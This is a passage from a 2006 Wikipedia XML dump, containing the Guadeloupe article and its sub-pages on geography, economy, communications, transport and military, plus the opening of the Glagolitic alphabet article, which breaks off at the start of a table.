* [http://www.use-it.be/gent/eng/ Use-it.be] - Ghent for youngsters
* [http://www.urgent.fm Radio Urgent] - Local Radio Station run entirely by young people and it is often used by national radio [[Studio Brussel]] as a source for new trends in music.
* [http://www.beyondjazz.net/viewtopic.php?t=7012 Beyondjazz.net] - Beyondjazz.net Ghent Cityguide
* [http://gent.blogt.be/ Gent.blogt] - Blog about Ghent
* [http://hotel.eu.com/?showcity=Gent All hotels in Gent] - Directory of all hotels in Gent

==References==
&lt;references/&gt;

{{East_Flanders}}

[[Category:Cities and towns in Belgium]]
[[Category:Municipalities of East Flanders]]

{{Link FA|eo}}

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[[ang:Gænt]]
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  </page>
  <page>
    <title>Guadeloupe</title>
    <id>12343</id>
    <revision>
      <id>41813627</id>
      <timestamp>2006-03-01T22:42:11Z</timestamp>
      <contributor>
        <username>Gaius Cornelius</username>
        <id>293907</id>
      </contributor>
      <minor />
      <comment>clean up using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{Infobox French Région|
native_name              = Région Guadeloupe| 
common_name              = Guadeloupe|
image_flag               = GuadFlag.png|
image_flag_size          = 130px|
image_logo               = GuadLogo1.gif|
image_logo_size          = 110px|
flag                     = (Région flag)|
capital                  = [[Basse-Terre]] |
area                     = 1,702 | area_scale = 9 |
Regional president       = [[Victorin Lurel]]&lt;br&gt;([[Socialist Party (France)|PS]]) (since [[2004]])|
population_rank          = 23rd|
population_census        = 422,497|
population_census_year   = 1999  |
population_estimate      = 453,000 |
population_estimate_year = 2005 |
population_density       = 266|
population_density_year  = 2005 |
arrondissements          = 3 |
cantons                  = 43 |
communes                 = 34 |
départements             = Guadeloupe|
image_map                = GuadMap1.png |
image_map_size           = 280px|
footnotes=|
|}}
'''Guadeloupe''' is an [[archipelago]] in the eastern [[Caribbean Sea]] at {{coor dm|16|15|N|61|35|W|type:country}}, with a total area of 1,702 km².  It is an overseas ''[[département in France|département]]'' (''[[département d'outre-mer]], or DOM'') of [[France]].  Like the other DOMs, Guadeloupe is also one of the 26 ''[[Région in France|régions]]'' of France (''as a [[région d'outre-mer]]''), and an integral part of the Republic. 

== History ==
[[Image:GuadeloupeVue.jpg|left|thumb|View from Guadeloupe]]
Guadeloupe was populated from [[300 BC]] by the [[Arawak]] Amerindians, who fished and developed agriculture on the island. It was next inhabited by the [[Carib]]s, who pushed out most of the Arawak in the [[8th century]], and who renamed the island &quot;Karukera&quot; or the &quot;Island of beautiful waters&quot;.

During his second trip to America [[Christopher Columbus]] became the first European to land on Guadeloupe on [[14 November]] [[1493]]. He called it ''Santa María de Guadalupe de Extremadura'', after the image of the [[Mary, mother of Jesus|Virgin Mary]] venerated at the [[Spain|Spanish]] [[Royal Monastery of Santa Maria de Guadalupe|monastery of Villuercas]], in [[Guadalupe, Extremadura]].

The French took possession of the island in [[1635]] and wiped out many of the Carib. It was annexed to France in [[1674]]. Over the next century, the island was seized several times by the [[United Kingdom|British]]. One indication of Guadeloupe's prosperity at this time is that in the [[Treaty of Paris (1763)|Treaty of Paris]] ([[1763]]), France abandoned its territorial claims in [[Canada]] in return for British recognition of French control of Guadeloupe.

[[Image:Chutes du Carbet.Guadeloupe.jpg|right|thumb|left|Carbet Falls]]
In an effort to take advantage of the chaos ensuing from the [[French Revolution]], Britain attempted to seize Guadeloupe in [[1794]] and held it from [[April 21]] to [[June 2]]. The French retook the island under the command of [[Victor Hugues]], who succeeded in freeing the [[Slavery|slave]]s. They revolted and turned on the slave-owners who controlled the [[sugar]] plantations, but when American interests were threatened, [[Napoleon]] sent a force to suppress the rebels and reinstitute slavery. [[Louis Delgrès]] and a group of revolutionary soldiers killed themselves on the slopes of the Matouba volcano when it became obvious that the invading troops would take control of the island. The occupation force killed approximately 10,000 Guadeloupeans in the process of restoring &quot;order&quot; to the island.

On [[February 4]], [[1810]] the British once again seized the island and held it until [[March 3]], [[1813]], when it was ceded to [[Sweden]] as a consequence of the [[Napoleonic Wars]]. Sweden already had a colony in the area, but merely a year later Sweden left the island to France in the [[Treaty of Paris (1814)|Treaty of Paris]] of [[1814]]. An ensuing settlement between Sweden and the British gave rise to the [[Guadeloupe Fund]]. French control of Guadeloupe was finally acknowledged in the [[Treaty of Vienna]] in [[1815]]. Slavery was abolished on the island in [[1848]] at the initiative of [[Victor Schoelcher]]. Today the population of Guadeloupe is a blend of Europeans, Africans and Indians.

== Geography ==
[[Image:Guadeloupe1.png|thumb|320px|In green (with red legend) are the constituent parts of the Guadeloupe ''région''/''département'' among the [[Leeward Islands]].]]
[[Image:Guadeloupe map.png|frame|Map of the Guadeloupe archipelago]]
''Main Article: [[Geography of Guadeloupe]]''

Guadeloupe comprises five [[island]]s: [[Basse-Terre]], [[Grande-Terre]] (separated from Basse-Terre by a narrow sea channel called salt river) with the adjacent islands of [[La Désirade]], [[Les Saintes]] and [[Marie-Galante]]. Basse-Terre has a rough [[volcanic]] relief whilst Grande-Terre features rolling hills and flat plains.

Further to the north, [[Saint-Barthélemy]] and the French part of [[Saint Martin]] come under the jurisdiction of Guadeloupe. On [[December 7]], [[2003]], both of these areas voted to become an overseas territorial collectivity. [http://www.statoids.com/ugp.html]

== Demographics ==
'''[[Population]]:''' 426,493 (July 2000 est.)

'''Age structure:'''
&lt;br&gt;''0-14 years:''
25% (male 54,603; female 52,339)
&lt;br&gt;''15-64 years:''
66% (male 139,640; female 142,706)
&lt;br&gt;''65 years and over:''
9% (male 15,647; female 21,558) (2000 est.)

'''Population growth rate:'''
1.11% (2000 est.)

'''[[Birth rate]]:'''
17.25 births/1,000 population (2000 est.)

'''[[Death]] rate:'''
6.01 deaths/1,000 population (2000 est.)

'''Net [[migration]] rate:'''
-0.15 migrant(s)/1,000 population (2000 est.)

'''Sex ratio:'''
&lt;br&gt;''at birth:''
1.05 male(s)/female
&lt;br&gt;''under 15 years:''
1.04 male(s)/female
&lt;br&gt;''15-64 years:''
0.98 male(s)/female
&lt;br&gt;''65 years and over:''
0.73 male(s)/female
&lt;br&gt;''total population:''
0.97 male(s)/female (2000 est.)

'''[[Infant mortality]] rate:'''
9.77 deaths/1,000 live births (2000 est.)

'''[[Life expectancy]] at birth:'''
&lt;br&gt;''total population:''
76.99 years
&lt;br&gt;''male:''
73.82 years
&lt;br&gt;''female:''
80.3 years (2000 est.)

'''Total [[fertility]] rate:'''
1.93 children born/woman (2000 est.)

'''[[Nationality]]:'''
&lt;br&gt;''noun:''
Guadeloupian(s)
&lt;br&gt;''adjective:''
Guadeloupe

'''[[Ethnic group]]s:'''
[[blacks|black]] or [[mulatto]] 90%, [[white]] 5%, East [[India]]n, [[Lebanon|Lebanese]], [[China|Chinese]] less than 5%

'''[[Religion]]s:'''
[[Roman Catholicism|Roman Catholic]] 95%, [[Hinduism|Hindu]] and [[paganism|pagan]] [[African mythology|African]] 4%, [[Protestantism|Protestant]] 1%

'''[[Language]]s:'''
[[French language|French]] (official) 99%, [[Creole language|Creole]] [[patois]]

'''[[Literacy]]:'''
&lt;br&gt;''definition:''
age 15 and over can read and write
&lt;br&gt;''total population:''
90%
&lt;br&gt;''male:''
90%
&lt;br&gt;''female:''
90% (1982 est.)

== Politics ==
{{Politics of Guadeloupe}}

{{CIA}}

'''National holiday:''' 
National Day, [[Taking of the Bastille]], [[14 July]] (1789)

'''Constitution:'''
[[28 September]] [[1958]] ([[French Constitution]])

'''Legal system:'''
[[French legal system]]

'''Suffrage:'''
18 years of age; universal

'''[[Executive branch]]:'''
&lt;br&gt;''chief of state:''
President [[Jacques Chirac]] of [[France]] (since [[17 May]] [[1995]]), represented by Prefect [[Dominique Vian]] (since [[6 August]] [[2002]])
&lt;br&gt;''head of government:''
President of the General Council [[Jacques Gillot]] (since [[26 March]] [[2001]]); President of the Regional Council [[Lucette Michaux-Chevry]] (since [[22 March]] [[1992]]) 
&lt;br&gt;''cabinet:''
NA
&lt;br&gt;''elections:''
French president elected by popular vote for a five-year term; prefect appointed by the French president on the advice of the French Ministry of Interior; the presidents of the General and Regional Councils are elected by the members of those councils
&lt;br&gt;''election results:''
NA

'''[[Legislative branch]]:'''
unicameral General Council or Conseil General (42 seats; members are elected by popular vote to serve six-year terms) and the unicameral Regional Council or Conseil Regional (41 seats; members are elected by popular vote to serve six-year terms)
&lt;br&gt;''elections:''
General Council - last held [[22 March]] [[1998]] (next to be held by NA 2004); Regional Council - last held [[15 March]] [[1998]] (next to be held NA 2004)
&lt;br&gt;''election results:''
General Council - percent of vote by party - NA; seats by party - left-wing candidates 11, PS 8, RPR 8, PPDG 6, right-wing candidates 5, PCG 3, UDF 1; Regional Council - percent of vote by party - RPR 48.03%, PS/PPDG/diverse left parties 24.49%, PCG 5.29%, diverse right parties 5.73%; seats by party - RPR 25, PS/PPDG/diverse left parties 12, PCG 2, diverse right parties 2
&lt;br&gt;''note:''
Guadeloupe elects two representatives to the [[French Senate]]; elections last held NA September 1995 (next to be held NA September 2004); percent of vote by party - NA; seats by party - RPR 1, FGPS 1; Guadeloupe elects four representatives to the [[French National Assembly]]; elections last held [[25 May]] - [[1 June]] [[1997]] (next to be held NA 2002); percent of vote by party - NA; seats by party - FGPS 2, RPR 1, PPDG 1

'''[[Judicial branch]]:'''
Court of Appeal or ''Cour d'Appel'' with jurisdiction over Guadeloupe, [[French Guiana]], and [[Martinique]].

'''[[Political parties]] and leaders:'''
* Communist Party of Guadeloupe or PCG [[Christian Celeste]]
* FGPS [[Dominique Larifla]]
* Progressive Democratic Party or PPDG [[Henri Bangou]]
* Rally for the Republic or RPR [[Aldo Blaise]]
* Socialist Party or PS [[Georges Louisor]]
* Union for French Democracy or UDF [[Marcel Esdras]] 

'''Political pressure groups and leaders:'''
* Christian Movement for the Liberation of Guadeloupe or KLPG
* General Federation of Guadeloupe Workers or CGT-G
* General Union of Guadeloupe Workers or UGTG
* Movement for Independent Guadeloupe or MPGI

'''International organisation participation:'''
[[FZ]], [[WCL]], [[WFTU]]

''''''''See Also:''''''''
*[[Colonial and Departmental Heads of Guadeloupe]]

== Culture ==
[[Image:Flag of Guadeloupe (local).svg|right|thumb|The unofficial local flag used on Guadeloupe.]]
[[Image:Blason Guadeloupe.png|right|thumb|100px|The unofficial local blazon used on Guadeloupe.]]
Guadeloupe's culture is probably best known for the islanders' literary achievements. Particularly the poetry of [[Saint-John Perse]], the pseudonym used by [[Alexis Leger]]. Perse won the [[Nobel Prize]] for [http://nobelprize.org/literature/ Literature] in 1960 &quot;for the soaring flight and the evocative imagery of his poetry which in a visionary fashion reflects the conditions of our time.&quot;

Also culturally important are the arts, particularly painting. Music and dance are also popular, and the mix of African and French cultures created a few important forms on the island. Islanders enjoy many local dance styles including the [[quadrille]] &quot;au commandement&quot;, zouk, zouk-love, and toumbélé. Music includes la biguine and gwo ka la base.

== Economy ==
''Main article: [[Economy of Guadeloupe]]''

[[Image:Plage.Guadeloupe.jpg|right|thumb|Beach at Guadeloupe]]

The economy of Guadeloupe depends on [[agriculture]], [[tourism]], [[light industry]], and [[services]]. It also depends on [[France]] for large subsidies and imports. Tourism is a key industry, with most tourists from the [[United States]]; an increasingly large number of cruise ships visit the islands. The traditional [[sugarcane]] crop is slowly being replaced by other crops, such as [[banana]]s (which now supply about 50% of export earnings), [[eggplant]], and [[flower]]s. Other vegetables and root crops are cultivated for local consumption, although Guadeloupe is still dependent on imported food, mainly from France. Light industry features [[sugar]] and [[rum]] production. Most manufactured goods and fuel are imported. Unemployment is especially high among the young. Hurricanes periodically devastate the economy.

As far as .gp stands for the Guadeloupe Top Level Domain, an opportunity for the country to be known worldwide appears. All speed related events can use the .gp domain to be fast found (i.e. montecarlo.gp for Montecarlo Grand Prix).

== See also ==
* [[Communications in Guadeloupe]]
* [[Military of Guadeloupe]]
* [[Music of Martinique and Guadeloupe]]
* [[Transportation in Guadeloupe]]
* [[French overseas departments and territories]]
* [[Administrative divisions of France]]

== External links ==
{{commons|Guadeloupe}}
*[http://www.supphoto.com/album/french_west_indies/guadeloupe/ Pictures of Guadeloupe Island]
*[http://www.guadeloupe.pref.gouv.fr/ Website of the prefecture of Guadeloupe]
*[http://maps.google.com/maps?ll=16.189618,-61.482239&amp;spn=0.759246,0.962814&amp;t=k Guadeloupe at Google Maps]
*[http://www.lesilesguadeloupe.com Government Tourism Site for Guadeloupe]
*[http://www.gp-worldwide.org/  .gp (Guadeloupe's ccTLD) a world standard for the speed world]

{{West_Indies}}
{{Regions_of_France}}

[[Category:Guadeloupe|Guadeloupe]]
[[Category:Special territories of the European Union]]
[[Category:Swedish colonies]]

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[[zh:瓜德罗普]]</text>
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  <page>
    <title>History of Guadeloupe</title>
    <id>12344</id>
    <revision>
      <id>15910040</id>
      <timestamp>2005-05-08T08:50:23Z</timestamp>
      <contributor>
        <username>Postdlf</username>
        <id>29695</id>
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      <comment>redirecting</comment>
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    <title>Demographics of Guadeloupe</title>
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    <revision>
      <id>15910041</id>
      <timestamp>2005-05-08T08:58:20Z</timestamp>
      <contributor>
        <username>Postdlf</username>
        <id>29695</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Guadeloupe]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Guadeloupe</title>
    <id>12346</id>
    <revision>
      <id>32143019</id>
      <timestamp>2005-12-20T20:32:27Z</timestamp>
      <contributor>
        <username>Eskimbot</username>
        <id>477460</id>
      </contributor>
      <minor />
      <comment>robot  Adding: fr</comment>
      <text xml:space="preserve">[[Image:Guadeloupe1.png|thumb|320px|In green (with red legend) are the constituent parts of the Guadeloupe ''région''/''département'' among the [[Leeward Islands]]]]
[[Image:Guadeloupe map.png|frame|Map of the Guadeloupe archipelago]]

'''Guadeloupe''' comprises five [[island]]s: [[Basse-Terre]], [[Grande-Terre]] (separated from Basse-Terre by a narrow sea channel called salt river) with the adjacent islands of [[La Désirade]], [[Les Saintes]] and [[Marie-Galante]]. Basse-Terre has a rough [[volcanic]] relief whilst Grande-Terre features rolling hills and flat plains.

Further to the north, [[Saint-Barthélemy]] and the French part of [[Saint Martin]] come under the juridiction of Guadeloupe. On [[December 7]], [[2003]], both of these areas voted to become an overseas territorial collectivity. [http://www.statoids.com/ugp.html]


; Location:
: [[Caribbean]], [[island]]s in the eastern [[Caribbean Sea]], southeast of [[Puerto Rico]]
; [[Geographic coordinates]]:
: {{coor dm|16|15|N|61|35|W|type:country}}
; Map references:
: [[Central America]] and the Caribbean
; Area:
:* Total: 1,780 [[Square kilometre|km²]]
:* Land: 1,706 km²
:* Water: 74 km²
:* Note: Guadeloupe is an [[archipelago]] of nine inhabited islands: the main islands [[Basse-Terre]] on the west and [[Grande-Terre]] on the east, the nearby smaller islands [[Marie-Galante]], [[La Desirade]], [[Iles des Saintes]] (2) and  [[Iles de la Petite Terre]], and more to the northwest, beyond [[St Kitts and Nevis]]: [[Saint Barthélemy]] and Saint-Martin (French part of the island of [[Saint Martin]]).
; Area--comparative:
: 10 times the size of Washington, DC
; Land boundaries:
:* Total: 10.2 km
:* Border countries: Netherlands Antilles (Sint Maarten) 10.2 km
; Coastline:
: 306 km
; Maritime claims:
:* Exclusive economic zone: 200 [[Nautical mile|nm]]
:* Territorial sea: 12 nm
; Climate:
: Subtropical tempered by trade winds; moderately high humidity
; Terrain:
: Basse-Terre is volcanic in origin with interior mountains; Grande-Terre is low limestone formation; most of the seven other islands are volcanic in origin
; Elevation extremes:
:* Lowest point: Caribbean Sea 0 [[metre|m]]
:* Highest point: Soufriere 1,467 m
; Natural resources:
: Cultivable land, beaches and climate that foster tourism
; Land use:
:* Arable land: 14%
:* Permanent crops: 4%
:* Permanent pastures: 14%
:* Forests and woodland: 39%
:* Other: 29% (1993 est.)
; Irrigated land:
: 30 km² (1993 est.)
; Natural hazards:
: Hurricanes (June to October); Soufriere is an active volcano
; Environment--current issues:
: NA

==See also==
* [[Communes of the Guadeloupe département]]

[[Category:Guadeloupe]]
[[Category:Geography by country]]

[[fr:Géographie de la Guadeloupe]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Guadeloupe</title>
    <id>12347</id>
    <revision>
      <id>15910043</id>
      <timestamp>2005-05-08T08:50:57Z</timestamp>
      <contributor>
        <username>Postdlf</username>
        <id>29695</id>
      </contributor>
      <comment>redirecting</comment>
      <text xml:space="preserve">#REDIRECT [[Guadeloupe]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Guadeloupe</title>
    <id>12348</id>
    <revision>
      <id>26886971</id>
      <timestamp>2005-10-30T15:49:57Z</timestamp>
      <contributor>
        <username>CaribDigita</username>
        <id>60840</id>
      </contributor>
      <comment>Cat: Guadeloupe --&gt; Economy of Guadeloupe</comment>
      <text xml:space="preserve">The '''economy of [[Guadeloupe]]''' depends on [[agriculture]], [[tourism]], [[light industry]], and [[services]]. It also depends on [[France]] for large subsidies and imports.

Tourism is a key industry, with most tourists from the US; an increasingly large number of cruise ships visit the islands. The traditional [[sugarcane]] crop is slowly being replaced by other crops, such as [[banana]]s (which now supply about 50% of export earnings), [[eggplant]], and [[flower]]s. Other vegetables and root crops are cultivated for local consumption, although Guadeloupe is still dependent on imported food, mainly from France. Light industry features [[sugar]] and [[rum]] production. Most manufactured goods and fuel are imported. Unemployment is especially high among the young. Hurricanes periodically devastate the economy.

==Economic data==

'''GDP:'''
purchasing power parity - $3.7 [[billion]] (3.7 G$) (1996 est.)

'''GDP - real growth rate:'''
NA%

'''GDP - per capita:'''
purchasing power parity - $9,000 (1996 est.)

'''GDP - composition by sector:'''
&lt;br&gt;''agriculture:''
6%
&lt;br&gt;''industry:''
9%
&lt;br&gt;''services:''
85% (1993 est.)

'''Population below poverty line:'''
NA%

'''Household income or consumption by percentage share:'''
&lt;br&gt;''lowest 10%:''
NA%
&lt;br&gt;''highest 10%:''
NA%

'''Inflation rate (consumer prices):'''
NA

'''Labour force:'''
125,900 (1997)

'''Labour force - by occupation:'''
agriculture 15%, industry 17%, services 68% (1997)

'''Unemployment rate:'''
27.8% (1998)

'''Budget:'''
&lt;br&gt;''revenues:''
$225 million
&lt;br&gt;''expenditures:''
$390 million, including capital expenditures of $105 million (1996)

'''Industries:'''
construction, [[cement]], [[rum]], [[sugar]], tourism

'''Industrial production growth rate:'''
NA%

'''Electricity - production:'''
1.22 TWh (1998)

'''Electricity - production by source:'''
&lt;br&gt;''fossil fuel:''
100%
&lt;br&gt;''hydro:''
0%
&lt;br&gt;''nuclear:''
0%
&lt;br&gt;''other:''
0% (1998)

'''Electricity - consumption:'''
1.135 TWh (1998)

'''Electricity - exports:'''
0 kWh (1998)

'''Electricity - imports:'''
0 kWh (1998)

'''Agriculture - products:'''
[[banana]]s, [[sugarcane]], tropical [[fruit]]s and [[vegetable]]s; [[cattle]], [[pig]]s, [[goat]]s

'''Exports:'''
$140 million (f.o.b., 1997)

'''Exports - commodities:'''
bananas, sugar, rum

'''Exports - partners:'''
France 60%, Martinique 18%, US 4% (1997)

'''Imports:'''
$1.7 billion (c.i.f., 1997)

'''Imports - commodities:'''
foodstuffs, fuels, vehicles, clothing and other consumer goods, construction materials

'''Imports - partners:'''
France 63%, Germany 4%, US 3%, Japan 2%, Netherlands Antilles 2% (1997)

'''Debt - external:'''
$NA

'''Economic aid - recipient:'''
$NA; note - substantial annual French subsidies

'''Currency:'''
1 EURO = 1 EUR = 1€ = 100 cents

'''Exchange rates:'''
euros per US$1 - 1, 3002 (February 2005), 0.9867 (January 2000), 0.9386 (1999); French francs (F) per US$1 - 5.65 (January 1999), 5.8995 (1998), 5.8367 (1997), 5.1155(1996), 4.9915 (1995)

'''Fiscal year:''' calendar year

[[Category:Economy of Guadeloupe|*]]

[[fr:Économie de la Guadeloupe]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Guadeloupe</title>
    <id>12349</id>
    <revision>
      <id>24528747</id>
      <timestamp>2005-10-02T02:45:20Z</timestamp>
      <contributor>
        <username>CaribDigita</username>
        <id>60840</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
159,000 (1995)

'''Telephones - mobile cellular:'''
814 (1990)

'''Telephone system:'''
domestic facilities inadequate
&lt;br&gt;''domestic:''
NA
&lt;br&gt;''international:''
[[satellite]] earth station - 1 [[Intelsat]] ([[Atlantic Ocean]]); microwave radio relay to [[Antigua and Barbuda]], [[Dominica]], and [[Martinique]]

'''[[Radio]] [[broadcasting|broadcast]] stations:'''
[[AM radio|AM]] 1, [[FM]] 17, [[shortwave]] 0 (1998)

'''Radios:'''
113,000 (1997)

'''[[Television]] broadcast stations:'''
5 (plus several low-power repeaters) (1997)

'''Televisions:'''
118,000 (1997)

'''[[Internet Service Provider]]s (ISPs):'''
NA

'''[[Country code]] (Top-level domain):''' GP

:''See also :'' [[Guadeloupe]]


[[Category:Communications in Guadeloupe|*]]
[[Category:Communications by country|Guadeloupe]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation in Guadeloupe</title>
    <id>12350</id>
    <revision>
      <id>32474474</id>
      <timestamp>2005-12-23T11:35:10Z</timestamp>
      <contributor>
        <ip>82.31.14.40</ip>
      </contributor>
      <text xml:space="preserve">'''[[Railway]]s:'''
&lt;br&gt;''total:''
NA km; privately-owned, narrow-gauge plantation lines

'''[[Highway]]s:'''
&lt;br&gt;''total:''
2,082 km
&lt;br&gt;''paved:''
1,742 km
&lt;br&gt;''unpaved:''
340 km (1985 est.)
&lt;br&gt;''note:''
in 1996 there were a total of 3,200 km of roads

'''[[Seaport]]s and [[harbor]]s:'''
[[Basse-Terre]], [[Gustavia (town)|Gustavia]] (on [[Saint-Barthélemy]]), Marigot (on [[Saint Martin]]), [[Pointe-à-Pitre]] (on [[Grande-Terre]]).

'''[[Merchant marine]]:'''
&lt;br&gt;''total:''
1 ship (1,000 GRT or over) totaling 1,240 GRT/109 DWT
&lt;br&gt;''ships by type:''
passenger 1 (1999 est.)

'''[[Airport]]s:'''
9 (1999 est.)

'''Airports - with paved runways:'''
&lt;br&gt;''total:''
8
&lt;br&gt;''over 3,047 m:''
1
&lt;br&gt;''914 to 1,523 m:''
2
&lt;br&gt;''under 914 m:''
5 (1999 est.)

'''Airports - with unpaved runways:'''
&lt;br&gt;''total:''
1
&lt;br&gt;''under 914 m:''
1 (1999 est.)

:''See also :'' [[Guadeloupe]]

[[Category:Guadeloupe]]
[[Category:Transportation in France]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Guadeloupe</title>
    <id>12352</id>
    <revision>
      <id>36325734</id>
      <timestamp>2006-01-23T06:22:59Z</timestamp>
      <contributor>
        <username>Kappa</username>
        <id>105499</id>
      </contributor>
      <comment>cats, stubs</comment>
      <text xml:space="preserve">'''Military branches:'''
no regular indigenous military forces; French Forces, [[Gendarmerie]]

'''Military - note:'''
defense is the responsibility of France

:''See also :'' [[Guadeloupe]]

[[Category:Guadeloupe]]
[[Category:Militaries|Guadaloupe]]


{{caribbean-stub}}
{{Mil-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Glagolitic alphabet</title>
    <id>12353</id>
    <revision>
      <id>41901664</id>
      <timestamp>2006-03-02T14:07:16Z</timestamp>
      <contributor>
        <username>Sl</username>
        <id>126396</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:Glagolithic tablet.jpg|right|thumb|250px|Tablet inscribed with the Glagolitic alphabet]]
The '''Glagolitic alphabet''' or '''Glagolitsa''' is the oldest known [[Slavic peoples|Slavic]] [[alphabet]]. It was created by [[Saint Cyril]] in [[855]] or around [[862]]-[[863]] in order to translate the [[Bible]] and other texts into the [[Slavic languages]].

The name comes from the [[Old Slavonic]] ''glagolə'', which means ''word'' (and is also the origin of the name for the letter &quot;G&quot;). Since ''glagolati'' also means ''to speak'', the Glagolitsa is poetically referred to as &quot;the marks that speak&quot;.

The original Glagolitic alphabet has 41 letters, but the number varies slightly in later versions.  Twenty-four of the 41 original Glagolitic letters (see Great Moravian below) are probably derived from graphemes of the [[medieval]] cursive [[Greek alphabet|Greek small alphabet]], but have been given an ornamental design. It is presumed that the letters ''sha'', ''shta'' and ''tsi'' were derived from the [[Hebrew alphabet]] (the letters [[Shin (letter)|Shin]] and [[Tsadi]]) - the [[phoneme]]s that these letters represent did not exist in Greek but do exist in Hebrew and are quite common in all Slavic languages. The remaining original characters are of unknown origin. Some of them are presumed to stem from the Hebrew and [[Samaritan]] scripts, which Cyril got to know during his journey to the [[Khazars]] in [[Cherson]].

Another theory (see [[Chernorizetz Hrabar]]) asserts that the Glagolitic alphabet was based on ancient Slavic [[Runic alphabet|rune]]s (''chərti i rezki'', i.e., lines and notches), which like the [[Germanic rune]]s were only used in sacred texts of the pre-Christian [[Slavic religion]].

== History ==
{{alphabet}}
[[Rastislav]], the Knyaz (Prince) of [[Great Moravia]], wanted to weaken the dependence of his [[Slavic peoples|Slavic]] empire on East [[Frankish]] priests, so in [[862]] he had the [[Byzantine emperor]] send two missionaries, [[Saints Cyril and Methodius]], to Great Moravia. Cyril created a new alphabet for that purpose - the Glagolitic. The alphabet was then used in [[Great Moravia]] between [[863]] (when Cyril and Methodius arrived there) and [[885]] for government and religious documents and books, and at the Great Moravian Academy (Ve&amp;#318;komoravské u&amp;#269;ili&amp;#353;te) founded by Cyril, where followers of Cyril and Methodius were educated (also by Methodius himself).

In [[886]], an East Frankish bishop of [[Nitra]] named [[Wiching]] banned the script and jailed 200 followers of Methodius (mostly of the students of the original academy).  They were then dispersed or, according to some sources, sold as slaves. Three of them, however, reached Bulgaria and were commissioned by [[Boris I of Bulgaria]] to teach and instruct the future clergy of the state into the [[Slavic language]]s. After the adoption of Christianity in [[Bulgaria]] in [[865]], religious ceremonies were conducted in [[Greek language|Greek]] by clergy sent from the [[Byzantine Empire]]. Fearing growing Byzantine influence and weakening of the state, Boris viewed the introduction of the Slavic alphabet and language in church use as a way to preserve the independence of [[Bulgaria]]. As a result of Boris's measures, two academies in [[Ohrid Literary School|Ohrid]] and [[Preslav Literary School|Preslav]] were founded.

From there, the students traveled to various other places and spread the use of their alphabet. Some went to [[Croatia]] and [[Dalmatia]] where the squared variant arose and where the Glagolitic remained in use for a long time. In [[1248]], [[Pope Innocent IV]] gave the Croats the unique privilege of using their own language and this script in liturgy.  Formally given to bishop Philip of [[Senj]], the permission actually extended to all Croatian lands using the Glagolitic liturgy, mostly along the [[Adriatic]] coast. The Vatican had several Glagolitic [[missal]]s published in Rome.  It was eventually replaced with the Latin alphabet.

Some of the students of the Ohrid academy went to [[Bohemia]] where the alphabet was used in the 10th and 11th century, along with other scripts. Glagolitic was also used in Russia, although rarely.

At the end of the [[9th century]], one of these students of Methodius who was settled in [[Preslav, Bulgaria|Preslav]] ([[Bulgaria]]) created the [[Cyrillic alphabet]], which almost entirely replaced the Glagolitic during the [[Middle Ages]]. The Cyrillic alphabet is derived from the Greek alphabet, with (at least 10) letters peculiar to Slavic languages being derived from the Glagolithic.

Nowadays, Glagolitic is only used for [[Church Slavonic]] and, sometimes, vernacular in the service-books of the Catholic [[Eparchy of Krizevci|Eparchy of Kri&amp;#382;evci]] in Croatia.

== Names ==
The tradition that the alphabet was designed by [[Saint Cyril]] and [[Saint Methodius]] has not been universally accepted. A less common belief was that the Glagolitic was created by [[St. Jerome]], hence the alphabet is sometimes named '''Hieronymian'''.  It is also [[acrophonically]] called '''azbuki''' from the names of its first two letters, on the same model as 'alpha' + 'beta'. (See ''[[azbuka]]'' for the Cyrillic alphabet).  The Slavs of [[Great Moravia]] (present-day [[Slovakia]] and [[Moravia]]), [[Hungary]], [[Slovenia]] and [[Slavonia]] were called ''Slov&amp;#283;ne'' at that time, which gives rise to the name '''Slovenish''' for the alphabet. Some other, more rare, names for this alphabet are '''Bukvitsa''' and '''Illyrian'''.

The name &quot;Glagolitic&quot; is in [[Czech (language)|Czech]] ''hlaholice'', in [[Slovak (language)|Slovak]] ''hlaholika'', in [[Polish (language)|Polish]] ''g&amp;#322;agolica'', in [[Russian (language)|Russian]],   [[Macedonian language|Macedonian]] and [[Bulgarian (language)|Bulgarian]] ''&amp;#1075;&amp;#1083;&amp;#1072;&amp;#1075;&amp;#1086;&amp;#769;&amp;#1083;&amp;#1080;&amp;#1094;&amp;#1072;'' (transliterated ''glagolitsa''), in [[Croatian (language)|Croatian]] ''glagoljica'', in [[Ukrainian (language)|Ukrainian]] ''&amp;#1075;&amp;#1083;&amp;#1072;&amp;#1075;&amp;#1086;&amp;#1083;&amp;#1080;&amp;#1094;&amp;#1103;'' (transliterated ''hlaholytsia''), in [[Belarusian (language)|Belarusian]] ''&amp;#1075;&amp;#1083;&amp;#1072;&amp;#1075;&amp;#1086;&amp;#1083;&amp;#1110;&amp;#1094;&amp;#1072;'' (transliterated ''hlaholitsa''), in [[Slovenian (language)|Slovene]] ''glagolica'',in [[Serbian (language)|Serbian]] ''глагољица/glagoljica'' etc. &lt;!-- other variants can be added --&gt;

== Characteristics ==
The alphabet has two variants: round and square.
The round variant is dominated by circles and smooth curves, and the square variant features a lot of right angles, and sometimes trapezoids.
See [http://kodeks.uni-bamberg.de/AKSL/Schrift/GlagolVergleichAlphabet.htm an image of both variants (incomplete)]. Or [http://www.tug.org/TUGboat/Articles/tb17-1/tb50zubr.pdf for more details]
The square variant lends itself to a more abundant use of [[ligature (typography)|ligature]]s than in the Latin or the Cyrillic script.

The following table lists each letter in order, giving a picture (round variant), its name, its approximate sound in [[International Phonetic Alphabet|IPA]], the presumed origin (if applicable), and the corresponding modern Cyrillic letter. The names ''Jer'' to ''Jus'' are sometimes written ''Yer'' to ''Yus''. There are several letters that have no modern counterpart, such as the [[nasal vowel]]s [[Yus|Jus]].
{| border=1 cellpadding=3 cellspacing=0 style=&quot;border-collapse:collapse;&quot;
|-
! Picture
! Unicode character
! [[Old Church Slavonic]] name
! [[Church Slavonic language|Church Slavonic]] name
! Sound
! Presumed origin
